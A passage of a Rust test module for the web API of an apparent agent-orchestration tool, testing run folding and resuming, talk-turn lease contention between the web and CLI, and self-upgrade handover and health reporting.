16938 assert_eq!(res.status, 204, "{}", res.body);
16939 assert!(!runs.join(id).exists(), "the broken record is gone");
16940 assert!(!wt.exists(), "its worktree is gone too");
16941 }
16942
16943 #[tokio::test]
16944 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
16945 let fx = Fixture::start().await;
16946 let runs = fx.runs();
16947 let id = "20260901-000000-live";
16948 write_run(&runs, id, RunStatus::Implementing);
16949
16950 let mut beat = crate::daemon::Status::new();
16951 beat.current = vec![crate::daemon::Current {
16952 task: "20260901-000000-task".to_owned(),
16953 run: id.to_owned(),
16954 }];
16955 beat.updated_at = jiff::Timestamp::now();
16956 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16957 .expect("publish a heartbeat");
16958
16959 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16960 assert_eq!(res.status, 409);
16961 assert!(
16962 res.json()["error"]
16963 .as_str()
16964 .unwrap()
16965 .contains("live daemon"),
16966 "folding under a running agent would pull its worktree away"
16967 );
16968 }
16969
16970 #[tokio::test]
16971 async fn fold_merged_requires_a_pr_url() {
16972 let fx = Fixture::start().await;
16973 let runs = fx.runs();
16974 let id = "20260901-000000-nourl";
16975 write_run(&runs, id, RunStatus::Blocked);
16976
16977 let res = fx
16978 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
16979 .await;
16980 assert_eq!(res.status, 400, "{}", res.body);
16981
16982 let blank = fx
16983 .post(
16984 &format!("/api/runs/{id}/fold-merged"),
16985 Some(r#"{"pr_url":" "}"#),
16986 )
16987 .await;
16988 assert_eq!(blank.status, 400, "{}", blank.body);
16989 }
16990
16991 #[tokio::test]
16992 async fn fold_merged_is_404_for_an_unknown_run() {
16993 let fx = Fixture::start().await;
16994 let res = fx
16995 .post(
16996 "/api/runs/nosuchrun/fold-merged",
16997 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16998 )
16999 .await;
17000 assert_eq!(res.status, 404, "{}", res.body);
17001 }
17002
17003 #[tokio::test]
17004 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
17005 let fx = Fixture::start().await;
17006 let runs = fx.runs();
17007 let id = "20260901-000000-livemerge";
17008 write_run(&runs, id, RunStatus::Blocked);
17009
17010 let mut beat = crate::daemon::Status::new();
17011 beat.current = vec![crate::daemon::Current {
17012 task: "20260901-000000-task".to_owned(),
17013 run: id.to_owned(),
17014 }];
17015 beat.updated_at = jiff::Timestamp::now();
17016 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17017 .expect("publish a heartbeat");
17018
17019 let res = fx
17020 .post(
17021 &format!("/api/runs/{id}/fold-merged"),
17022 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17023 )
17024 .await;
17025 assert_eq!(res.status, 409, "{}", res.body);
17026 assert!(
17027 res.json()["error"]
17028 .as_str()
17029 .unwrap()
17030 .contains("live daemon"),
17031 "correcting a run's merge underneath a running agent would race \
17032 whatever it is doing to the same `status`/`merge` fields"
17033 );
17034 }
17035
17036 #[tokio::test]
17041 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
17042 let fx = Fixture::start().await;
17043 let runs = fx.runs();
17044 let id = "20260901-000000-unconfirmed";
17045 write_run(&runs, id, RunStatus::Blocked);
17046
17047 let res = fx
17048 .post(
17049 &format!("/api/runs/{id}/fold-merged"),
17050 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17051 )
17052 .await;
17053 assert_eq!(res.status, 400, "{}", res.body);
17054 assert_eq!(
17055 read_run(&runs, id).unwrap().status,
17056 RunStatus::Blocked,
17057 "a pull request that could not be confirmed merged must leave \
17058 the run exactly where it was"
17059 );
17060 }
17061
17062 #[tokio::test]
17063 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
17064 let fx = Fixture::start().await;
17065 let runs = fx.runs();
17066
17067 for (status, word) in [
17073 (RunStatus::Merged, "merged"),
17074 (RunStatus::Ready, "ready"),
17075 (RunStatus::Failed, "failed"),
17076 ] {
17077 let id = format!("20260901-000000-{}", &word[..4]);
17078 write_run(&runs, &id, status);
17079 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
17080 assert_eq!(res.status, 409, "{word} must not be resumable");
17081 let err = res.json()["error"].as_str().unwrap().to_owned();
17082 assert!(err.contains(word), "the refusal names the status: {err}");
17083 }
17084
17085 let mid = "20260901-000000-midf";
17090 write_run(&runs, mid, RunStatus::Reviewing);
17091 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
17092 assert_eq!(res.status, 202, "an interrupted run is resumable");
17093 }
17094
17095 #[tokio::test]
17096 async fn resume_is_refused_while_the_loop_is_running() {
17097 let fx = Fixture::start().await;
17098 let runs = fx.runs();
17099 let stalled = "20260901-000000-stal";
17100 write_run(&runs, stalled, RunStatus::Stalled);
17101
17102 let mut beat = crate::daemon::Status::new();
17106 beat.current = vec![crate::daemon::Current {
17107 task: "20260901-000000-task".to_owned(),
17108 run: "20260901-000000-othr".to_owned(),
17109 }];
17110 beat.updated_at = jiff::Timestamp::now();
17111 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17112 .expect("publish a heartbeat");
17113
17114 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
17115 assert_eq!(res.status, 409);
17116 let err = res.json()["error"].as_str().unwrap().to_owned();
17117 assert!(err.contains("othr"), "it names what the loop is on: {err}");
17118 assert!(err.contains("stop it first"), "{err}");
17119 }
17120
17121 #[test]
17122 fn a_run_cannot_be_resumed_twice_at_once() {
17123 let home = TempDir::new().expect("temp home");
17124 let ui = Ui::new(
17125 Queue::at(home.path().join("queue")),
17126 Questions::at(home.path().join("questions")),
17127 Talks::at(home.path().join("talks")),
17128 home.path().join("runs"),
17129 home.path().to_path_buf(),
17130 PathBuf::from("/repo"),
17131 )
17132 .with_worktrees_root(home.path().join("wt"));
17133 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
17134 let again = ui.begin_resume("20260901-000000-once");
17135 assert!(again.is_err(), "a second tap must not start a second graph");
17136 drop(first);
17137 assert!(
17138 ui.begin_resume("20260901-000000-once").is_ok(),
17139 "and the claim is released when the attempt ends"
17140 );
17141 }
17142
17143 #[test]
17144 fn talk_thinking_tracks_only_its_held_turn_claim() {
17145 let home = TempDir::new().expect("temp home");
17146 let ui = Ui::new(
17147 Queue::at(home.path().join("queue")),
17148 Questions::at(home.path().join("questions")),
17149 Talks::at(home.path().join("talks")),
17150 home.path().join("runs"),
17151 home.path().to_path_buf(),
17152 PathBuf::from("/repo"),
17153 )
17154 .with_worktrees_root(home.path().join("wt"));
17155 let id = "20260901-000000-once";
17156
17157 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
17158 let turn = ui.begin_talk_turn(id).expect("claim turn");
17159 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
17160 assert!(
17161 !ui.is_thinking("20260901-000000-other"),
17162 "one talk's turn does not make another talk busy"
17163 );
17164 drop(turn);
17165 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
17166 }
17167
17168 #[test]
17169 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
17170 let home = TempDir::new().expect("temp home");
17171 let talks = Talks::at(home.path().join("talks"));
17172 let ui = Ui::new(
17173 Queue::at(home.path().join("queue")),
17174 Questions::at(home.path().join("questions")),
17175 talks.clone(),
17176 home.path().join("runs"),
17177 home.path().to_path_buf(),
17178 PathBuf::from("/repo"),
17179 )
17180 .with_worktrees_root(home.path().join("wt"));
17181 let id = "20260901-000000-cross";
17182
17183 let other = Talks::at(home.path().join("talks"))
17184 .claim_turn(id)
17185 .expect("claim")
17186 .expect("the other process wins");
17187 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
17188 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
17189 assert!(
17190 matches!(
17191 ui.begin_talk_turn_unless_pending(id).expect("start"),
17192 TalkTurnStart::Foreign
17193 ),
17194 "a foreign holder is refused, not queued behind"
17195 );
17196 assert!(
17197 !ui.talk_turns.lock().unwrap().live.contains(id),
17198 "a refused claim leaves no in-process entry behind"
17199 );
17200 drop(other);
17201 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
17202 assert!(talks.turn_held(id), "the web turn holds the lease");
17203 drop(turn);
17204 assert!(
17205 !talks.turn_held(id),
17206 "dropping the guard releases the lease"
17207 );
17208 }
17209
17210 fn consult_question(ui: &Ui) -> Question {
17211 let mut q = Question::new(
17212 "20260901-000000-consult".to_owned(),
17213 "implement".to_owned(),
17214 "impl-A".to_owned(),
17215 "Which backend?".to_owned(),
17216 String::new(),
17217 vec!["SQLite".to_owned(), "Redis".to_owned()],
17218 );
17219 ui.questions.put(&mut q).expect("question");
17220 q
17221 }
17222
17223 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
17224 (
17225 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
17226 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
17227 )
17228 }
17229
17230 #[tokio::test]
17231 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
17232 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
17233 let q = consult_question(&ui);
17234 let talk = ui.talks.get(&id).expect("talk");
17235 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
17236 let before = consult_snapshot(&ui, &q, &id);
17237 let cli_talks = Talks::at(ui.home.join("talks"));
17238 assert_eq!(
17239 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
17240 .await
17241 .expect("CLI starter"),
17242 crate::consult::Started::Busy
17243 );
17244 assert_eq!(consult_snapshot(&ui, &q, &id), before);
17245 assert!(ui.is_thinking(&id));
17246 drop(guard);
17247 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
17248 }
17249
17250 #[tokio::test]
17251 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
17252 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
17253 let q = consult_question(&ui);
17254 let talk = ui.talks.get(&id).expect("talk");
17255 let started = tmp.path().join("started");
17256 let release = tmp.path().join("release");
17257 let script = tmp.path().join("consult-agent.sh");
17258 std::fs::write(
17259 &script,
17260 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
17261 )
17262 .expect("script");
17263 let mut cfg = stub_config();
17264 cfg.agents[0].id = "mock".to_owned();
17265 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
17266 cfg.agents[0].env = std::collections::BTreeMap::from([
17267 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
17268 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
17269 ]);
17270 let questions = ui.questions.clone();
17271 let cli_talks = Talks::at(ui.home.join("talks"));
17272 let cli_q = q.clone();
17273 let turn = tokio::spawn(async move {
17274 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
17275 });
17276 let ready = tokio::time::timeout(Duration::from_secs(30), async {
17277 while !started.exists() {
17278 tokio::time::sleep(Duration::from_millis(10)).await;
17279 }
17280 })
17281 .await;
17282 let refusal = if ready.is_ok() {
17285 let before = consult_snapshot(&ui, &q, &id);
17286 let result = talk_say(
17287 State(Arc::clone(&ui)),
17288 Path(id.clone()),
17289 Ok(Json(NewTalkTurn {
17290 reply_to: None,
17291 text: "another message".to_owned(),
17292 attachments: Vec::new(),
17293 })),
17294 )
17295 .await;
17296 Some((result, before, consult_snapshot(&ui, &q, &id)))
17297 } else {
17298 None
17299 };
17300 std::fs::write(&release, "").expect("release agent");
17301 let done = turn.await.expect("join CLI turn");
17302 ready.expect("agent started before deadline");
17303 let (result, before, after) = refusal.expect("web request");
17304 let error = result.expect_err("web must refuse the CLI's turn");
17305 assert_eq!(error.status, StatusCode::CONFLICT);
17306 assert!(error.message.contains("a turn is already running"));
17307 assert_eq!(
17308 after, before,
17309 "refusal preserves question, draft and history"
17310 );
17311 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
17312 let guard = ui
17313 .begin_talk_turn(&id)
17314 .expect("web claim")
17315 .expect("free again");
17316 drop(guard);
17317 }
17318
17319 #[test]
17320 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
17321 let home = TempDir::new().expect("temp home");
17322 let talks = Talks::at(home.path().join("talks"));
17323 let ui = Ui::new(
17324 Queue::at(home.path().join("queue")),
17325 Questions::at(home.path().join("questions")),
17326 talks.clone(),
17327 home.path().join("runs"),
17328 home.path().to_path_buf(),
17329 PathBuf::from("/repo"),
17330 )
17331 .with_worktrees_root(home.path().join("wt"));
17332 let id = "20260901-000000-order";
17333 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17334 let slots = ui.talk_turns.lock().unwrap();
17336 let dropper = std::thread::spawn(move || drop(turn));
17337 let start = std::time::Instant::now();
17338 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
17339 std::thread::sleep(Duration::from_millis(5));
17340 }
17341 assert!(!talks.turn_held(id), "the lease is released first");
17342 assert!(slots.live.contains(id), "the slot is still held meanwhile");
17343 drop(slots);
17344 dropper.join().expect("join");
17345 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
17346 }
17347
17348 #[tokio::test]
17349 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
17350 let fx = Fixture::start().await;
17351 let mut beat = crate::daemon::Status::new();
17355 beat.pid = 4321;
17356 beat.updated_at = jiff::Timestamp::now();
17357 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17358 .expect("publish a heartbeat");
17359
17360 let res = fx.post("/api/upgrade", None).await;
17361 assert_eq!(res.status, 409);
17362 let err = res.json()["error"].as_str().unwrap().to_owned();
17363 assert!(err.contains("4321"), "the refusal names the owner: {err}");
17364 assert!(err.contains("old one against the same queue"), "{err}");
17365 }
17366
17367 #[test]
17374 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
17375 assert!(!should_spawn_recheck(&crate::config::Update {
17376 mode: UpdateMode::Off,
17377 interval: None,
17378 }));
17379
17380 unsafe {
17383 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
17384 }
17385 let killed = should_spawn_recheck(&crate::config::Update {
17386 mode: UpdateMode::Notify,
17387 interval: None,
17388 });
17389 unsafe {
17390 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
17391 }
17392 assert!(
17393 !killed,
17394 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
17395 one-time startup check"
17396 );
17397
17398 assert!(should_spawn_recheck(&crate::config::Update {
17399 mode: UpdateMode::Notify,
17400 interval: None,
17401 }));
17402 }
17403
17404 #[test]
17410 fn recheck_poll_period_tracks_a_short_configured_interval() {
17411 let short = crate::config::Update {
17412 mode: UpdateMode::Notify,
17413 interval: Some("1m".to_owned()),
17414 };
17415 let period = recheck_poll_period(&short);
17416 assert!(
17417 period <= Duration::from_secs(30),
17418 "a one-minute interval must wake the task far sooner than the \
17419 default ceiling, or the deck would not notice within the \
17420 interval the operator configured: got {period:?}"
17421 );
17422
17423 let default = crate::config::Update {
17424 mode: UpdateMode::Notify,
17425 interval: None,
17426 };
17427 assert_eq!(
17428 recheck_poll_period(&default),
17429 UPDATE_RECHECK_POLL_MAX,
17430 "the default day-long interval should poll at the (capped) \
17431 ceiling rather than needlessly often"
17432 );
17433 }
17434
17435 #[test]
17443 fn recheck_skips_the_network_before_the_interval_elapses() {
17444 let dir = TempDir::new().expect("temp dir");
17445 let path = dir.path().join("state.json");
17446 let state = kaishin::UpdateCheckState {
17447 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
17448 last_known_latest: None,
17449 last_known_url: None,
17450 };
17451 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
17452
17453 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
17454 assert!(
17455 !update_recheck_due(&checker, None),
17456 "a check made moments ago must not be repeated before the \
17457 configured interval elapses"
17458 );
17459 }
17460
17461 #[test]
17467 fn recheck_defers_to_an_upgrade_already_in_flight() {
17468 let dir = TempDir::new().expect("temp dir");
17469 let path = dir.path().join("state.json");
17470 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
17471 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
17472
17473 assert!(
17474 !update_recheck_due(&checker, Some(&progress)),
17475 "a recheck must not run while an upgrade this deck started is \
17476 still moving"
17477 );
17478 }
17479
17480 #[tokio::test]
17481 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
17482 unsafe {
17494 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
17495 }
17496 let fx = Fixture::start().await;
17497 let res = fx.post("/api/upgrade", None).await;
17498 unsafe {
17499 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
17500 }
17501 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
17502 let body = res.json();
17503 assert!(body["to"].is_null(), "there was no release to move to");
17504 assert!(body["parked"].is_null(), "and nothing was parked");
17505 assert!(
17506 body["detail"]
17507 .as_str()
17508 .unwrap()
17509 .contains("disabled by MAGI_NO_AUTOUPDATE"),
17510 "{body:?}"
17511 );
17512 }
17513
17514 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
17515 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
17516 p.stage = stage;
17517 p
17518 }
17519
17520 #[test]
17521 fn busy_stages_match_the_ui_set() {
17522 use crate::updater::Stage;
17523 assert!(APP_JS.contains(
17524 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
17525 ));
17526 for s in [
17527 Stage::Downloading,
17528 Stage::Replaced,
17529 Stage::Parking,
17530 Stage::Restarting,
17531 ] {
17532 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
17533 }
17534 for s in [Stage::Done, Stage::Failed] {
17535 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
17536 }
17537 assert!(upgrade_in_motion(None).is_none());
17538 }
17539
17540 #[tokio::test]
17541 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
17542 use crate::updater::Stage;
17543 for stage in [
17544 Stage::Downloading,
17545 Stage::Replaced,
17546 Stage::Parking,
17547 Stage::Restarting,
17548 ] {
17549 let fx = Fixture::start().await;
17550 let seeded = seeded_progress(stage);
17551 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
17552 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
17553 .expect("read");
17554
17555 let res = fx.post("/api/upgrade", None).await;
17556 assert_eq!(res.status, 409, "{stage:?}");
17557 let err = res.json()["error"].as_str().unwrap().to_owned();
17558 assert!(err.contains("already in progress"), "{err}");
17559 assert!(err.contains(stage.as_str()), "{err}");
17560
17561 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
17562 .expect("read");
17563 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
17564 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
17565 .unwrap_or_default();
17566 assert!(!log.contains("signalling HANDOVER"), "{log}");
17567 }
17568 }
17569
17570 #[tokio::test]
17571 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
17572 use crate::updater::Stage;
17573 let repo = TempDir::new().expect("repo dir");
17574 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17575 .expect("write magi.toml");
17576 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17577 for stage in [Stage::Done, Stage::Failed] {
17578 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
17579 let res = fx.post("/api/upgrade", None).await;
17580 assert_eq!(res.status, 200, "{stage:?}");
17581 }
17582 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
17584 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
17585 }
17586
17587 #[tokio::test]
17588 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
17589 let repo = TempDir::new().expect("repo dir");
17605 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17606 .expect("write magi.toml");
17607 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17608
17609 let res = fx.post("/api/upgrade", None).await;
17615 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
17616 let body = res.json();
17617 assert!(body["to"].is_null(), "there was no release to move to");
17618 assert!(body["parked"].is_null(), "and nothing was parked");
17619 assert!(
17620 body["detail"]
17621 .as_str()
17622 .unwrap()
17623 .contains("nothing restarted"),
17624 "{body:?}"
17625 );
17626 }
17627
17628 #[tokio::test]
17629 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
17630 let repo = TempDir::new().expect("repo dir");
17635 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17636 .expect("write magi.toml");
17637 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17638
17639 let health = fx.get("/api/health").await.json();
17640 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
17641 assert_eq!(
17642 health["update"]["available"], false,
17643 "checking is off, which reads as \"unknown\", not \"none\""
17644 );
17645 assert!(health["update"]["to"].is_null());
17646 assert!(
17647 health["upgrade"].is_null(),
17648 "nothing has ever asked this deck to upgrade"
17649 );
17650 }
17651
17652 #[tokio::test]
17653 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
17654 let fx = Fixture::start().await;
17655 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
17656
17657 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17658 progress.parked_run = Some("20260905-000000-cd51".to_owned());
17659 progress.advance(crate::updater::Stage::Parking);
17660 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17661
17662 let health = fx.get("/api/health").await.json();
17663 assert_eq!(health["upgrade"]["stage"], "parking");
17664 assert_eq!(health["upgrade"]["from"], "0.5.1");
17665 assert_eq!(health["upgrade"]["to"], "0.5.2");
17666 let waiting_on = health["upgrade"]["waiting_on"]
17667 .as_str()
17668 .expect("waiting_on is set while parking a known run");
17669 assert!(waiting_on.contains("cd51"), "{waiting_on}");
17670 assert!(waiting_on.contains("implementing"), "{waiting_on}");
17671 }
17672
17673 #[tokio::test]
17674 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
17675 let fx = Fixture::start().await;
17676 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17677 progress.advance(crate::updater::Stage::Done);
17678 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17679
17680 let health = fx.get("/api/health").await.json();
17681 assert_eq!(health["upgrade"]["stage"], "done");
17682 assert!(
17683 health["upgrade"]["waiting_on"].is_null(),
17684 "nothing to wait on once it is done"
17685 );
17686 }
17687
17688 #[tokio::test]
17689 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
17690 let home = TempDir::new().expect("temp home");
17691 let runs = home.path().join("runs");
17692 std::fs::create_dir_all(&runs).expect("runs dir");
17693 let ui = Ui::new(
17694 Queue::at(home.path().join("queue")),
17695 Questions::at(home.path().join("questions")),
17696 Talks::at(home.path().join("talks")),
17697 runs,
17698 home.path().to_path_buf(),
17699 PathBuf::from("/repo/magi"),
17700 )
17701 .with_launch(launch_idle);
17702 let looping = ui.looping();
17703 let turns = ui.turns();
17704 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17705 .await
17706 .expect("bind loopback");
17707 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17708
17709 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17710 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17711
17712 hand_over(
17713 home.path(),
17714 &looping,
17715 &turns,
17716 &|_: &[String]| Duration::from_secs(5),
17717 served,
17718 |_| Ok(1),
17719 )
17720 .await
17721 .expect("hand over");
17722
17723 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
17724 assert_eq!(
17725 after.stage,
17726 crate::updater::Stage::Restarting,
17727 "hand_over owns the record through parking and up to restarting; \
17728 the successor is what finishes it"
17729 );
17730 }
17731
17732 #[tokio::test]
17735 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
17736 for fail in [false, true] {
17737 let home = TempDir::new().expect("temp home");
17738 let ui = idle_ui(&home);
17739 let looping = ui.looping();
17740 let turns = ui.turns();
17741 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17742 .await
17743 .expect("bind loopback");
17744 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17745 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17746 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17747
17748 let calls = std::sync::atomic::AtomicUsize::new(0);
17749 let outcome = hand_over(
17750 home.path(),
17751 &looping,
17752 &turns,
17753 &|_: &[String]| Duration::from_secs(5),
17754 served,
17755 |_| {
17756 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17757 if fail {
17758 anyhow::bail!("no exec")
17759 } else {
17760 Ok(4242)
17761 }
17762 },
17763 )
17764 .await;
17765 assert_eq!(outcome.is_err(), fail);
17766 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17767
17768 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
17769 .expect("upgrade.log is written under the home");
17770 for step in [
17771 "entered",
17772 "finish_loop",
17773 "listener released",
17774 "starting the successor",
17775 ] {
17776 assert!(log.contains(step), "missing `{step}` in:\n{log}");
17777 }
17778 assert!(
17779 log.contains(if fail { "did not start" } else { "pid 4242" }),
17780 "{log}"
17781 );
17782 }
17783 }
17784
17785 #[tokio::test]
17788 async fn the_handover_signal_wakes_one_waiter_once() {
17789 let signal = Notify::new();
17790 signal.notify_one();
17792 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
17793 .await
17794 .expect("an early signal is still seen");
17795 assert!(
17797 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
17798 .await
17799 .is_err(),
17800 "a consumed signal must not wake a second time"
17801 );
17802 let signal = std::sync::Arc::new(signal);
17804 let waiter = tokio::spawn({
17805 let signal = std::sync::Arc::clone(&signal);
17806 async move { wait_for_handover(&signal).await }
17807 });
17808 tokio::time::sleep(Duration::from_millis(20)).await;
17809 assert!(!waiter.is_finished(), "nothing was signalled yet");
17810 signal.notify_one();
17811 tokio::time::timeout(Duration::from_secs(5), waiter)
17812 .await
17813 .expect("a late signal wakes the waiter")
17814 .expect("join");
17815 }
17816
17817 #[tokio::test]
17818 async fn health_says_how_long_a_handover_has_been_stuck() {
17819 let fx = Fixture::start().await;
17820 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17821 progress.advance(crate::updater::Stage::Replaced);
17822 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
17823 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17824
17825 let health = fx.get("/api/health").await.json();
17826 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
17827 assert!(stuck >= 600, "{stuck}");
17828 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
17829 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
17830 }
17831
17832 #[tokio::test]
17833 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
17834 let home = tempfile::tempdir().expect("temp home");
17835 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17836 progress.advance(crate::updater::Stage::Parking);
17837 crate::updater::write_progress(home.path(), &progress).expect("seed");
17838 let mut again = progress.clone();
17840 again.advance(crate::updater::Stage::Replaced);
17841 crate::updater::write_progress(home.path(), &again).expect("replaced");
17842 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17843 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
17844 let after = crate::updater::read_progress(home.path()).expect("record");
17845 assert_eq!(after.stage, crate::updater::Stage::Parking);
17846 }
17847
17848 #[tokio::test]
17849 async fn health_does_not_call_a_live_parking_wait_stuck() {
17850 let fx = Fixture::start().await;
17851 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17852 progress.parked_run = Some("20260905-000000-cd51".to_owned());
17853 progress.advance(crate::updater::Stage::Parking);
17854 let hours = Duration::from_secs(3 * 3600);
17855 progress.started_at = Timestamp::now() - hours;
17856 progress.updated_at = Timestamp::now() - hours;
17857 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17858 let _lease = crate::updater::LeaseGuard::enter(
17859 fx.home.path(),
17860 Some("20260905-000000-cd51".to_owned()),
17861 );
17862
17863 let health = fx.get("/api/health").await.json();
17864 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
17865 assert!(health["upgrade"]["stuck_kind"].is_null());
17866 assert_eq!(health["upgrade"]["handover_alive"], true);
17867 let waiting_on = health["upgrade"]["waiting_on"]
17868 .as_str()
17869 .expect("waiting_on");
17870 assert!(waiting_on.contains("cd51"), "{waiting_on}");
17871 }
17872
17873 fn idle_ui(home: &TempDir) -> Ui {
17874 let runs = home.path().join("runs");
17875 std::fs::create_dir_all(&runs).expect("runs dir");
17876 Ui::new(
17877 Queue::at(home.path().join("queue")),
17878 Questions::at(home.path().join("questions")),
17879 Talks::at(home.path().join("talks")),
